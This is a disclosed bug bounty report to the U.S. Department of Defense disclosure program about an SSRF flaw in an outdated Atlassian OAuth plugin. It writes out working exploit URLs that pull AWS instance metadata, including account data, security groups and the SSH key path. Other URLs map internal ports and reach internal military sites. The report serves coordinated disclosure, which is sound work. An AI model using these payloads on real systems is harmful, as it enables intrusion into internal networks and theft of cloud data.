16

SSRF on [redacted] Allowing internal server data access

Share:

State	○ Resolved (Closed)
Disclosed	**October 9, 2019 12:24am +0530**
Reported To	**U.S. Dept Of Defense**
Weakness	Information Disclosure
Severity	Critical (9 ~ 10)
Participants	
Visibility	Disclosed (Full)

Collapse

SUMMARY BY ALYSSA_HERRERA

I discovered that due to an outdated atlassian software instance, I was able to exploit an SSRF vulnerability in confluence and was able to perform several actions such as bypass any firewall/protection solutions, was able to perform XSPA through assessing the response times for ports, access Internal DoD Servers and internal services.

I discuss the vulnerabilities exploited in my write which you can find here, https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a

TIMELINE · EXPORT

alyssa_herrera submitted a report to **U.S. Dept Of Defense**. Mar 15th (2 years ago)

Summary:
An end point on [redacted] allows an internal access to the network thus revealing sensitive data and allowing internal tunneling
Description:
OAuth Plugin allows you to provide a url that gives a snap shot of the web page. We can pass internal URLS and conduct SSRF.

Impact

Critical

Step-by-step Reproduction Instructions

https://[redacted]/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/hostname
We can see the follow data
ip-172-31-12-254.[redacted].compute.internal
https://[redacted]/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/public-ipv4
[redacted]

Product, Version, and Configuration (If applicable)

Jira

Suggested Mitigation/Remediation Actions

Update to recent version

Impact

An attacker can tunnel into internal networks and access sensitive internal data such as AWS meta data information.

The hacker selected the **Server-Side Request Forgery (SSRF)** weakness. This vulnerability type requires contextual information from the hacker. They provided the following answers:

Can internal services be reached bypassing network access control?
Yes

What internal services were accessible?
AWS Bucket Meta data

Security Impact
CVE-2017-9506 - The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers to access the content of internal network resources and/or perform an XSS attack via Server Side Request Forgery (SSRF).

BOT: U.S. Dept Of Defense posted a comment. Mar 15th (2 years ago)
Greetings from the Department of Defense (DoD),

Thank you for supporting the DoD Vulnerability Disclosure Program (VDP).

By submitting this report, you acknowledge understanding of, and agreement to, the DoD Vulnerability Disclosure Policy as detailed at @DeptofDefense.

The VDP Team will review your report to ensure compliance with the DoD Vulnerability Disclosure Policy. If your report is determined to be out-of-scope, it will be closed without action.

We will attempt to validate in-scope vulnerability reports and may request additional information from you if necessary. We will forward reports with validated vulnerabilities to DoD system owners for their action.

Our goal is to provide you with status updates not less than every two weeks until the reported vulnerability is resolved.

Regards,

The VDP Team

alyssa_herrera changed the report title from **SSRF on [redacted]** to **SSRF on [redacted] Allowing internal server data access**. Updated Sep 25th (16 days ago)

ag3nt-dc3 updated the severity to Medium. Mar 15th (2 years ago)

ag3nt-z3 changed the status to ○ **Triaged**. Mar 15th (2 years ago)
Greetings,

We have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.

Thank you for bringing this vulnerability to our attention!

We will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.

You will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.

Thanks again for supporting the DoD Vulnerability Disclosure Program.

Regards,

The VDP Team

alyssa_herrera posted a comment. Mar 15th (2 years ago)
I do know for the fact that when you're able to access the aws internal end points we can intact access the credentials and private information regarding the aws buckets. I'm going to see if I might be possible to bypass the initial error I got preventing that from occurring to increase severity. I also noticed that it tended to refuse trying to load mil domains /ips

ag3nt-j7 posted a comment. Mar 15th (2 years ago)
@alyssa_herrera Ok, keep us posted!

alyssa_herrera posted a comment. Updated Sep 25th (16 days ago)

Alright I found some interesting behavior that let's me port scan on the internal network.

https://[redacted]/plugins/servlet/oauth/users/icon-uri?consumerUri=http://127.0.0.1:8080
Gives us an error that says javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target
Meaning that the internal ip exists.
Same thing happens in port 80.
https://[redacted]/plugins/servlet/oauth/users/icon-uri?consumerUri=http://127.0.0.1:21
We get this error
org.apache.http.conn.HttpHostConnectException: Connect to 127.0.0.1:21 [/127.0.0.1] failed: Connection refused
Through these errors i'm able to perform an error-based enumeration of internal ports and checking if they exist.

I.e if we now do https://[redacted]/plugins/servlet/oauth/users/icon-uri?consumerUri=https://localhost:8080 we'll get connection timed out instead
https://[redacted]/plugins/servlet/oauth/users/icon-uri?consumerUri=ldap://localhost:11211 We know that LDAP isn't supported on the server either now.

ag3nt-j7 posted a comment. Mar 15th (2 years ago)
@alyssa_herrera do you think this warrants another report or no?

alyssa_herrera posted a comment. Updated Sep 25th (16 days ago)
I don't think so, the root cause is the jira plugin allowing this which this report covers. If anything this should increase the severity as i'm able to prove that certain internal ports do exist. Additionally I was able to access mil sites through this as well
Such as https://[redacted]/plugins/servlet/oauth/users/icon-uri?consumerUri=https://[redacted]/safe/
Though this ends up timing out
https://[redacted]/plugins/servlet/oauth/users/icon-uri?consumerUri=https://[redacted]/
Which gives me this error
org.apache.http.conn.ConnectTimeoutException: Connect to [redacted]:443 [[redacted]/[redacted]] failed: connect timed out

And sorry if I end up tripping any alarms over this testing.

alyssa_herrera posted a comment. Updated Oct 4th (7 days ago)
I read into the documentation of the AWS meta data internal end point and found that I can leak more interesting information on the end point as well
https://[redacted]/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/dynamic/instance-identity/document
Leaks this information

```
{
"privateIp" : "[redacted]",
"instanceId" : "i-63914e47",
"billingProducts" : [ "bp-6fa54006" ],
"instanceType" : "t2.large",
"accountId" : "993671966739",
"imageId" : "ami-299e2248",
"pendingTime" : "2016-07-22T22:52:20Z",
"architecture" : "x86_64",
"kernelId" : null,
"ramdiskId" : null,
"region" : "[redacted]",
"version" : "2010-08-31",
"availabilityZone" : "[redacted]a",
"devpayProductCodes" : null
}
```

https://[redacted]/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/dynamic/instance-identity/pkcs7 and we can retrieve the PKCS7 signature here

https://[redacted]/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/network/interfaces/macs/%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88/owner-id We can find the owner ID here 993671966739 which is verifies the above ID leaking.

https://[redacted]/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/network/interfaces/macs/%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88/security-groups "
Gives us[redacted]
HTTP
Devforce SSH
devforce_internal

I hope this proves the initial severity I marked it as

alyssa_herrera posted a comment. Updated Sep 25th (16 days ago)

So it seems I can tunnel into certain websites that appeared to be internal only or offer different functionality if it's coming from a DoD IP. Other mil sites I can access is https://[redacted]/plugins/servlet/oauth/users/icon-uri?consumerUri=https://[redacted]/

https://[redacted]/plugins/servlet/oauth/users/icon-uri?consumerUri=https://www.xn--4zhaaaaa/
Additionally websites that would give me SSL warnings or not matching SSL certificates or "Invalid certificate" like https://www.xn--4zhaaaaaaa/ doesn't appear when I use this exploit to tunnel to them, example of this https://[redacted]/plugins/servlet/oauth/users/icon-uri?consumerUri=https://www.xn--4zhaaaaaaaaa/, leading me to believe this is using certificates or a solution that allows matches of the SSL certificates. Which leads me to believe that this server can indeed be used to access other internal networks not just the AWS meta data end point as I demonstrated but Mil servers as well. I did google to see if there's any publicly accessible information for any type of servers that were only accessible from the DoD and I did find two of them which I mentioned above.
They are https://[redacted]/plugins/servlet/oauth/users/icon-uri?consumerUri=https://[redacted]/
https://[redacted]/plugins/servlet/oauth/users/icon-uri?consumerUri=https://[redacted]/safe/
I can continue to attempt pivot or search for more information to prove the impact as it stands now, I feel the information that I provided is suffice enough to prove that we have the ability to A. Bypass any firewall/protection solutions B. Access AWS instance data C. Access Internal DoD Servers/Intranet D. Reliably discover and enumerate Ports on the localhost
Thus based on these factors I can reasonably prove and back up my claim that we do in fact have a critical issue as intranet access to the DoD, the ability to enumerate AWS instance data and other points made above are severe enough that an attacker could reasonably use them to perform sophisticated and complex attacks on the DoD through pivoting into the DoD intranet infrastructure. Though I realize I might have inadvertently be able to access NIPERNET if my understanding how the intranet of the DoD works.

alyssa_herrera posted a comment. Updated Mar 16th (2 years ago)

Various screen caps to demonstrate what should be seen and the information demonstrated. I'll now stop my testing, and allow you to review every thing

alyssa_herrera posted a comment. Updated Sep 25th (16 days ago)

I just noticed we can get SSH keys as well
https://[redacted]/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

ag3nt-z3 added weakness "Information Disclosure" and removed weakness "Server-Side Request Forgery (SSRF)". Mar 16th (2 years ago)

ag3nt-z3 updated the severity from Medium to Critical. Mar 16th (2 years ago)

ag3nt-z3 posted a comment. Mar 16th (2 years ago)

@alyssa_herrera Congrats, you enumerated enough information that this is now a critical!

alyssa_herrera posted a comment. Mar 16th (2 years ago)

Awesome to hear :)

alyssa_herrera posted a comment. Mar 29th (2 years ago)

Hello, I found another subdomain vulnerable to the exploit, should I make a separate for it ?

ag3nt-j7 posted a comment. Mar 29th (2 years ago)

@alyssa_herrera is it the same vulnerability?

alyssa_herrera posted a comment. Updated Mar 29th (2 years ago)

Yeah I noticed it was hosted on a separate subdomain, and using different instance, confluence instead of jira this time. I made I a new report for it as It seemed to affect another subdomain as well, I was unsure if it might be chalked up to root cause

ag3nt-j7 posted a comment. Mar 29th (2 years ago)

@alyssa_herrera ok, thank you for the detail.

alyssa_herrera posted a comment. Apr 7th (2 years ago)

This end point is 404'ing now and does look like it's been updated

ag3nt-j7 posted a comment. Apr 9th (2 years ago)

@alyssa_herrera Thanks for the update. We will contact the system owner and follow-up.

ag3nt-j1 posted a comment. Apr 11th (2 years ago)

@alyssa_herrera We heard about the blog post you published about this ticket and that you had to pull it, as per our guidelines. However, no one here is pissed about it from the Director on down and we value all the good research you've put in so please keep at it!

alyssa_herrera posted a comment. Apr 13th (about 1 year ago)

Alright sorry for jumping the gun.

ag3nt-z3 closed the report and changed the status to ○ **Resolved**. Apr 23rd (about 1 year ago)

Good news!

The vulnerability you reported has been resolved and this report is now closed. If you have any further questions or disagree that the report is resolved, please let us know.

Thank you for your time and effort to improve the security of the DoD information network.

Regards,

The VDP Team

alyssa_herrera requested to disclose this report. Apr 23rd (about 1 year ago)

alyssa_herrera posted a comment. Aug 11th (about 1 year ago)

Any update on disclosing this ?

alyssa_herrera posted a comment. Jan 17th (9 months ago)

Just checking up to see when disclosure be given to this and the other reports of mine.

agent-1 agreed to disclose this report. Oct 9th (3 days ago)

disclosure approved

This report has been disclosed. Oct 9th (3 days ago)